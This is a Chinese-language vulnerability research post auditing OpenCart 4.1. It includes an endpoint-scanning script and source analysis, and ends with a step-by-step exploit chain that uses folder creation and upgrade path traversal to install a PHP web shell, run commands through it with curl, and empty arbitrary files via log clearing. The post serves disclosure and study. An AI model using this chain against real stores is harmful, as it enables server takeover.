OpenCart漏洞挖掘

Opencart是一个基于PHP的开源电商平台GitHub - opencart/opencart: A free shopping cart system. OpenCart is an open source PHP-based online e-commerce solution.

测试版本:国际免费版v4.1

  • 基础运行环境

    1. PHP 8.0+

    2. MySQL 5.7+

    3. Apache 2.4 or Nginx1.15+

  • 组件信息

    1. AWS

    2. guzzlehttp

      • guzzle 7.8.1

      • promises 2.0.2

      • psr7

    3. mtdowling

      • jmespath.php 2.7.0
    4. psr

      • http-client 1.0.3

      • http-factory

      • http-message 1.0.1

    5. ralouphie/getallheaders

    6. scssphp

    7. symfony

    8. twig 3.8.0

架构分析

opencart采用MVC架构

在framework中根据cookie中的session_id找到当前会话储存的信息(默认在db中)

根据route参数进入对应的controller执行对应的method(默认为.index

在controller中需要进行逻辑操作,如数据库查询时,加载model,调用model中的方法

页面渲染加载view,使用twig渲染模板

用户身份由session_id进行识别,需要用户权限的api访问携带参数customer_token,与session中储存的customer_token进行校验

管理员页面与用户页面情况相似

管理员除了session_iduser_token以外,还有accessmodify权限检查

h3Ul3dkN

opencart功能模块分析 - GitMind

opencart逻辑漏洞分析 - GitMind

常见平台漏洞测试

  • sql注入

    所有的sql查询都对用户输入进行了转换,字符串使用real_escape_string过滤,不太能注

  • 模板注入

    twig模板文件渲染成php脚本,代码注入无效

业务面API

未认证接口分析

使用脚本扫描业务面API,测试cookie与token是否需要,对不需要cookie与token的API进行重点分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python

import os
import re
import requests
import json

controller_path = "./deploy/upload/catalog/controller"

base_url = "http://172.23.9.22:8080/index.php?route="

def get_cookie_token():
cookies = {}
token = ""
req_url = base_url + "account/login.index"
response = requests.get(url=req_url)

cookie = response.headers["Set-Cookie"].split("; ")[0]
cookies[cookie.split("=")[0]] = cookie.split("=")[1]

re_pattren = r"login_token=([0-9a-f]{26})"
token = re.findall(re_pattren, response.text)[0]

req_url = base_url + "account/login.login" + "&login_token=" + token
data = {
"email": "test1@123.com",
"password": "test1",
}
response = requests.post(url=req_url, data=data, cookies=cookies)

cookie = response.headers["Set-Cookie"].split("; ")[0]
cookies[cookie.split("=")[0]] = cookie.split("=")[1]

re_pattren = r"customer_token=([0-9a-f]{26})"
token = re.findall(re_pattren, response.text)[0]
return (cookies, token)

php_files = []

dirs = [controller_path]
while (len(dirs) != 0):
cur_dir = dirs.pop(0)
for d in os.listdir(cur_dir):
next_path = cur_dir + "/" + d
if (os.path.isdir(next_path)):
dirs.append(next_path)
elif (os.path.isfile(next_path) and next_path.endswith(".php")):
php_files.append(next_path)
php_files.sort()

apis = {}
for php in php_files:
route = php.split(controller_path+"/")[1].split(".php")[0]
with open(php, "rt") as f:
php_content = f.read()
re_pattren = r"public function ([a-zA-Z][a-zA-Z0-9_\-]*)\(\): void {"
methods = []
for method in re.findall(re_pattren, php_content):
methods.append(route + "." + method)
if (len(methods) != 0):
apis[route] = methods


cookies, customer_token = get_cookie_token()

# 通过是否重定向判断是否需要登录授权
apis_auth = {}
for route, methods in apis.items():
if (route in ["account/login", "account/logout"]):
continue
methods_auth = []
for method in methods:
method_auth = {"method": method, "cookie": True, "token": True}
# 带cookie 带token
req_url = base_url + method + "&customer_token=" + customer_token
response = requests.get(req_url, cookies=cookies, allow_redirects=False)
if (("route=account/login" not in str(response.headers)) and ("redirect" not in response.text)):
method_auth["cookie"] = True
method_auth["token"] = True
# 带cookie 不带token
req_url = base_url + method
response = requests.get(req_url, cookies=cookies, allow_redirects=False)
if (("route=account/login" not in str(response.headers)) and ("redirect" not in response.text)):
method_auth["cookie"] = True
method_auth["token"] = False
# 不带cookie 带token
req_url = base_url + method + "&customer_token=" + customer_token
response = requests.get(req_url, allow_redirects=False)
if (("route=account/login" not in str(response.headers)) and ("redirect" not in response.text)):
method_auth["cookie"] = False
method_auth["token"] = True
# 不带cookie 不带token
req_url = base_url + method
response = requests.get(req_url, allow_redirects=False)
if (("route=account/login" not in str(response.headers)) and ("redirect" not in response.text)):
method_auth["cookie"] = False
method_auth["token"] = False
# print(method_auth)
methods_auth.append(method_auth)
if (len(methods_auth) != 0):
apis_auth[route] = methods_auth

print("method,cookie,token")
for route, methods in apis_auth.items():
for method in methods:
print(f'{method["method"]},{method["cookie"]},{method["token"]}')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
method,cookie,token,
account/account.index,True,True,
account/address.index,True,True,
account/address.list,True,True,
account/address.form,True,True,
account/address.save,True,True,
account/address.delete,True,True,
account/affiliate.index,True,True,
account/affiliate.save,True,True,
account/custom_field.index,False,False,查询用户组信息,无法利用
account/download.index,True,True,
account/download.download,True,True,
account/edit.index,True,True,
account/edit.save,True,True,
account/forgotten.index,True,True,
account/forgotten.confirm,True,True,
account/forgotten.reset,True,True,
account/forgotten.password,True,True,
account/newsletter.index,True,True,
account/newsletter.save,True,True,
account/order.index,True,True,
account/order.history,False,False,能够查询订单历史状态,无数据泄露
account/order.reorder,True,True,
account/password.index,True,True,
account/password.save,True,True,
account/payment_method.index,True,True,
account/payment_method.list,True,True,
account/payment_method.delete,True,True,
account/register.index,True,True,
account/register.register,True,True,
account/returns.index,True,True,
account/returns.add,True,True,
account/returns.save,True,True,
account/returns.success,True,True,
account/reward.index,True,True,
account/subscription.index,True,True,
account/subscription.history,False,False,信息查询,无数据泄露
account/subscription.order,False,False,信息查询,无数据泄露
account/success.index,True,True,
account/tracking.index,True,True,
account/tracking.autocomplete,True,True,
account/transaction.index,True,True,
account/wishlist.index,True,True,
account/wishlist.list,False,False,使用session进行鉴权
account/wishlist.add,False,False,使用session进行鉴权
account/wishlist.remove,False,False,使用session进行鉴权
api/account/login.index,True,True,
api/localisation/currency.index,True,True,
api/sale/affiliate.index,True,True,
api/sale/cart.index,True,True,
api/sale/cart.add,True,True,
api/sale/cart.edit,True,True,
api/sale/cart.remove,True,True,
api/sale/coupon.index,True,True,
api/sale/customer.index,True,True,
api/sale/order.load,True,True,
api/sale/order.comment,True,True,
api/sale/order.confirm,True,True,
api/sale/order.delete,True,True,
api/sale/order.addHistory,True,True,
api/sale/payment_address.index,True,True,
api/sale/payment_method.index,True,True,
api/sale/payment_method.save,True,True,
api/sale/reward.index,True,True,
api/sale/reward.maximum,True,True,
api/sale/reward.available,True,True,
api/sale/shipping_address.index,True,True,
api/sale/shipping_method.index,True,True,
api/sale/shipping_method.save,True,True,
api/sale/voucher.index,True,True,
api/sale/voucher.add,True,True,
api/sale/voucher.remove,True,True,
checkout/cart.index,True,True,
checkout/cart.list,False,False,使用session检测登录
checkout/cart.add,True,True,
checkout/cart.edit,False,False,使用session检测登录
checkout/cart.remove,False,False,使用session检测登录
checkout/checkout.index,False,False,使用session检测登录
checkout/confirm.confirm,True,True,
checkout/failure.index,True,True,
checkout/payment_address.save,True,True,
checkout/payment_address.address,True,True,
checkout/payment_method.getMethods,True,True,
checkout/payment_method.save,True,True,
checkout/payment_method.comment,False,False,使用session
checkout/payment_method.agree,False,False,使用session
checkout/register.save,True,True,
checkout/shipping_address.save,True,True,
checkout/shipping_address.address,True,True,
checkout/shipping_method.quote,True,True,
checkout/shipping_method.save,True,True,
checkout/success.index,True,True,
checkout/voucher.index,True,True,
checkout/voucher.add,True,True,
checkout/voucher.remove,False,False,使用seesion
checkout/voucher.success,True,True,
cms/blog.index,True,True,页面未启用
cms/blog.addComment,False,False,页面未启用
common/cart.info,True,True,
common/cart.removeProduct,False,False,使用session
common/cart.removeVoucher,False,False,使用session
common/cookie.confirm,False,False,添加cookie信息
common/currency.save,False,False,修改session与cookie信息
common/home.index,True,True,
common/maintenance.index,True,True,
cron/cron.index,False,False,定时任务,无效接口
error/not_found.index,True,True,
information/contact.index,True,True,
information/contact.send,False,False,邮件发送功能
information/contact.success,True,True,
information/gdpr.action,False,False,gdpr 邮件
information/information.info,False,False,信息查询接口
information/sitemap.index,True,True,
localisation/country.index,False,False,国家信息查询接口
product/compare.index,True,True,
product/compare.add,False,False,商品对比功能
product/manufacturer.index,True,True,
product/review.write,False,False,需要session与review_token
product/review.list,False,False,需要session与review_token
product/search.index,True,True,
product/special.index,True,True,
startup/application.index,False,False,startup为前置动作,用于主动作初始化,无需鉴权
startup/currency.index,False,False,
startup/customer.index,False,False,
startup/error.index,False,False,
startup/event.index,False,False,
startup/extension.index,False,False,
startup/language.index,False,False,
startup/marketing.index,False,False,
startup/sass.index,False,False,
startup/seo_url.index,False,False,
startup/session.index,False,False,
startup/setting.index,False,False,
startup/startup.index,False,False,
startup/tax.index,False,False,
tool/upload.index,False,False,文件上传

经功能测试与代码审计,未发现明显漏洞

文件上传下载分析

在添加订单的部分存在文件上传接口,尝试绕过前端过滤直接向API上传文件,发现仍存在过滤,查看源码分析是否存在绕过可能

RHENXAyW

  • 字符过滤 basename过滤

    没法路径穿越,只能向指定目录上传文件

    ezprijf1

  • 后缀白名单

    检查最后一个后缀,没法通过多后缀绕过

    qb3SeQiT

  • MIME过滤

    这个过滤无所谓,改HTTP请求就行

    NkmPYek6

  • 添加随机后缀

    随机后缀,甚至不知道上传文件的真实文件名了,不太能利用文件上传

    mcK6g6i4

在账户管理中存在一个下载的接口,分析是否存在路径绕过等实现任意文件下载操作

13eDHrfJ

CjKmdM9k

下载需要download_id,就是前面添加的随机后缀,根据download_id查数据库找到真实文件路径,不能手动指定下载的文件,无法利用

管理面API

由于管理API在route到对应服务时做权限检查,白名单匹配,权限方面无明显漏洞,直接对高危模块进行详细分析

文件编辑分析

在主题编辑中存在直接编辑twig模板文件的功能,尝试使用该功能实现任意文件读写操作

oByVjRI7

使用realpath进行路径检查,只能在指定的目录中操作,不太能利用

Au8e7Lmo

FLsSrQCk

图片管理器文件上传

网站所有的图片上传、编辑等操作都使用图片管理器实现,该管理器有文件预览、文件上传、文件夹创建、文件删除等功能,存在利用风险

CzSCFoX5

  • 文件预览

    文件预览功能对文件名做了basename,但是路径没做过滤,存在路径绕过查看任意目录文件的可能,但是对预览文件的类型做了限制,只能预览图片文件和目录,存在漏洞但是影响较小

    Y6KWEDi4

    nQqlfUmd

  • 文件上传

    realpath+后缀白名单,无法任意目录或任意文件上传

  • 文件夹创建

    basename+realpath 无法任意目录文件夹创建

  • 删除

    realpath 无法路径穿越

数据库备份恢复

能够对数据库进行备份,下载上传删除备份文件,能够根据上传的sql文件修改数据库(该功能存在风险,但属于管理员功能,不属于漏洞)

Bz3EHld9

分析该功能的文件上传下载,同样存在basename的过滤,无法利用

文件上传

该功能可以下载和删除用户上传的文件,操作基于添加的随机后缀,无法直接指定文件名,因此也不太能利用

RDLmGKaj

日志

日志功能能够预览日志文件,下载日志文件以及清除日志文件,尝试分析该功能是否存在任意文件读写

99QDyhGO

  • 下载

    经典basename,目录限制无法下载任意文件

    AO06xG8Y

  • 清除

    清除功能没有过滤文件名,可以直接清空任意文件(甚至是系统文件)

    83gD6DoJ

系统升级

系统的升级功能从github下载zip文件,从http参数中获取版本信息,字符串拼接得到url和文件名,通过构造version参数即可实现路径穿越,从github任意仓库下载zip文件

sQAL68Hl

在升级包安装功能中,虽然对zip文件内部文件路径做了限制,但是仍然未对version参数进行过滤,传入与download时相同的version即可解压下载的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
public function install(): void {
$this->load->language('tool/upgrade');

$json = [];

if (isset($this->request->get['version'])) {
$version = $this->request->get['version'];
} else {
$version = '';
}

if (!$this->user->hasPermission('modify', 'tool/upgrade')) {
$json['error'] = $this->language->get('error_permission');
}

$file = DIR_DOWNLOAD . 'opencart-' . $version . '.zip';

if (!is_file($file)) {
$json['error'] = $this->language->get('error_file');
}

if (!$json) {
// Unzip the files
$zip = new \ZipArchive();

if ($zip->open($file, \ZipArchive::RDONLY)) {
$remove = 'opencart-' . $version . '/upload/';

// Check if any of the files already exist.
for ($i = 0; $i < $zip->numFiles; $i++) {
$source = $zip->getNameIndex($i);

if (substr($source, 0, strlen($remove)) == $remove) {
// Only extract the contents of the upload folder
$destination = str_replace('\\', '/', substr($source, strlen($remove)));

if (substr($destination, 0, 8) == 'install/') {
// Default copy location
$path = '';

// Must not have a path before files and directories can be moved
$directories = explode('/', dirname($destination));

foreach ($directories as $directory) {
if (!$path) {
$path = $directory;
} else {
$path = $path . '/' . $directory;
}

if (!is_dir(DIR_OPENCART . $path) && !@mkdir(DIR_OPENCART . $path, 0777)) {
$json['error'] = sprintf($this->language->get('error_directory'), $path);
}
}

// Check if the path is not directory and check there is no existing file
if (substr($destination, -1) != '/') {
if (is_file(DIR_OPENCART . $destination)) {
unlink(DIR_OPENCART . $destination);
}

if (!copy('zip://' . $file . '#' . $source, DIR_OPENCART . $destination)) {
$json['error'] = sprintf($this->language->get('error_copy'), $source, $destination);
}
}
}
}
}

$zip->close();

$json['text'] = $this->language->get('text_patch');

$json['next'] = HTTP_CATALOG . 'install/index.php?route=upgrade/upgrade_1&version=' . $version . '&admin=' . rtrim(substr(DIR_APPLICATION, strlen(DIR_OPENCART), -1));
} else {
$json['error'] = $this->language->get('error_unzip');
}
}

$this->response->addHeader('Content-Type: application/json');
$this->response->setOutput(json_encode($json));
}
  • 漏洞利用

首先需要利用../的方式拼接url实现路径穿越,从自己的github仓库下载zip文件

例如

$version = '../../../example/example_repo/releases/download/v1.0/backdoor',

拼接前的url为https://github.com/opencart/opencart/archive/opencart-../../../example/example_repo/releases/download/v1.0/backdoor.zip,

实际url

https://github.com/example/example_repo/releases/download/v1.0/backdoor.zip. 完成下载后,调用install实现将 hack.zip 解压到 DIR_OPENCART/install.

文件名 $file = DIR_DOWNLOAD . 'opencart-' . $version . '.zip',

实际文件名 DIR_DOWNLOAD/opencart-../../../example/example_repo/releases/download/v1.0/backdoor.zip.

这需要在特定的目录下存在 opencart-.. example example_repo等文件夹.

需要找能够任意目录文件夹创建的漏洞

搜索mkdir寻找满足条件的调用,在security.storatge找到存在任意文件夹创建的漏洞

该API是修改系统的存储目录,修改之后将存储目录的内容复制到新的目录并删除原目录,但复制过程如果失败,不会修改存储目录为新目录,也不会删除新建目录

通过修改存储目录并让复制过程失败,就能实现创建任意目录

这里其实有正则表达式过滤,但表达式写错了没有过滤成功,通过传入path参数就能创建任意文件夹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
public function storage(): void {
$this->load->language('common/security');

if (isset($this->request->get['page'])) {
$page = (int)$this->request->get['page'];
} else {
$page = 1;
}

if (isset($this->request->get['name'])) {
$name = preg_replace('[^a-zA-z0-9_]', '', basename(html_entity_decode(trim($this->request->get['name']), ENT_QUOTES, 'UTF-8')));
} else {
$name = '';
}

if (isset($this->request->get['path'])) {
$path = preg_replace('[^a-zA-z0-9_\:\/]', '', html_entity_decode(trim($this->request->get['path']), ENT_QUOTES, 'UTF-8'));
} else {
$path = '';
}

$json = [];

if ($this->user->hasPermission('modify', 'common/security')) {
$base_old = DIR_STORAGE;
$base_new = $path . $name . '/';

if (!is_dir($base_old)) {
$json['error'] = $this->language->get('error_storage');
}

$root = str_replace('\\', '/', realpath($this->request->server['DOCUMENT_ROOT'] . '/../'));

if ((substr($base_new, 0, strlen($root)) != $root) || ($root == $base_new)) {
$json['error'] = $this->language->get('error_storage');
}

if (is_dir($base_new) && $page < 2) {
$json['error'] = $this->language->get('error_storage_exists');
}

if (!is_writable(DIR_OPENCART . 'config.php') || !is_writable(DIR_APPLICATION . 'config.php')) {
$json['error'] = $this->language->get('error_writable');
}
} else {
$json['error'] = $this->language->get('error_permission');
}

if (!$json) {
$files = [];

// Make path into an array
$directory = [$base_old];

// While the path array is still populated keep looping through
while (count($directory) != 0) {
$next = array_shift($directory);

foreach (glob(rtrim($next, '/') . '/{*,.[!.]*,..?*}', GLOB_BRACE) as $file) {
// If directory add to path array
if (is_dir($file)) {
$directory[] = $file;
}

// Add the file to the files to be deleted array
$files[] = $file;
}
}

// Create the new storage folder
if (!is_dir($base_new)) {
mkdir($base_new, 0777);
}

// Copy the
$total = count($files);
$limit = 200;

$start = ($page - 1) * $limit;
$end = $start > ($total - $limit) ? $total : ($start + $limit);

for ($i = $start; $i < $end; $i++) {
$destination = substr($files[$i], strlen($base_old));

if (is_dir($base_old . $destination) && !is_dir($base_new . $destination)) {
mkdir($base_new . $destination, 0777);
}

if (is_file($base_old . $destination) && !is_file($base_new . $destination)) {
copy($base_old . $destination, $base_new . $destination);
}
}

if ($end < $total) {
$json['next'] = $this->url->link('common/security.storage', '&user_token=' . $this->session->data['user_token'] . '&name=' . $name . '&path=' . $path . '&page=' . ($page + 1), true);
} else {
// Start deleting old storage location files.
rsort($files);

foreach ($files as $file) {
// If file just delete
if (is_file($file)) {
unlink($file);
}

// If directory use the remove directory function
if (is_dir($file)) {
rmdir($file);
}
}

rmdir($base_old);

// Modify the config files
$files = [
DIR_APPLICATION . 'config.php',
DIR_OPENCART . 'config.php'
];

foreach ($files as $file) {
$output = '';

$lines = file($file);

foreach ($lines as $line_id => $line) {
if (strpos($line, 'define(\'DIR_STORAGE') !== false) {
$output .= 'define(\'DIR_STORAGE\', \'' . $base_new . '\');' . "\n";
} else {
$output .= $line;
}
}

$file = fopen($file, 'w');

fwrite($file, $output);

fclose($file);
}

$json['success'] = $this->language->get('text_storage_success');
}
}

$this->response->addHeader('Content-Type: application/json');
$this->response->setOutput(json_encode($json));
}

Exploit
Steps to reproduce the behavior:

  1. create the backdoor.zip and create a repo

    1
    <?php @system($_GET["cmd"]);?>
    1
    zip backdoor.zip opencart-../../../example/example_repo/releases/download/v1.0/backdoor/upload/install/backdoor.php
  2. create directory opencart-..

    1
    GET /admin/index.php?route=common/security.storage&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&path=/var/www/html/system/storage/download/opencart-.. HTTP/1.1
  3. create directory /var/www/html/system/storage/example/example_repo/releases/download/v1.0 like step 2

    1
    2
    GET /admin/index.php?route=common/security.storage&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&path=/var/www/html/system/storage/example HTTP/1.1
    ...
  4. trigger download to download the backdoor.zip

    1
    GET /admin/index.php?route=tool/upgrade.download&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&version=../../../example/example_repo/releases/download/v1.0/backdoor HTTP/1.1
  5. trigger install to unzip the backdoor.zip

    1
    GET /admin/index.php?route=tool/upgrade.install&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&version=../../../example/example_repo/releases/download/v1.0/backdoor HTTP/1.1
  6. now backdoor.php in /var/www/html/install/

    1
    2
    ➜ curl http://192.168.254.4:8080/install/backdoor.php\?cmd\=pwd
    /var/www/html/install

影响范围

  • 日志清除

存在文件清空漏洞,23b9d53引入,0a8dd91修复,影响版本4.0.0.0至最新版

  • 任意文件夹创建

bc60f21中修复了正则匹配,导致无法创建包含-的文件夹,影响版本4.0.0.0至最新版

  • 升级包下载

由于目录创建修复了正则匹配,无法创建包含-的文件夹,最新代码难以利用,影响版本4.0.0.0至最新版


OpenCart漏洞挖掘
https://blog.noxke.icu/2024/07/03/ctf_wp/OpenCart漏洞挖掘/
作者
noxke
发布于
2024年7月3日
许可协议